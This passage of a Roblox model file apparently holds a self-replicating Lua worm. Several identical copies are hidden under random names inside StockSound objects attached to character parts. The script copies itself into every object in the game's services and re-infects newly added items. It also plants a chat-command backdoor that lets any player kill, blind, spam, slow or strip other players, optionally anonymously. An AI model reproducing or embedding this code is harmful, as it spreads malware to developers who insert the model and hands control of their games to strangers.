plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX157">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ndyc</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX158">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">7jjv</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX159">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>-1.5</X>
							<Y>10.6999998</Y>
							<Z>-14.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX160">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">p2s91</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX161">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">gxrczs</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
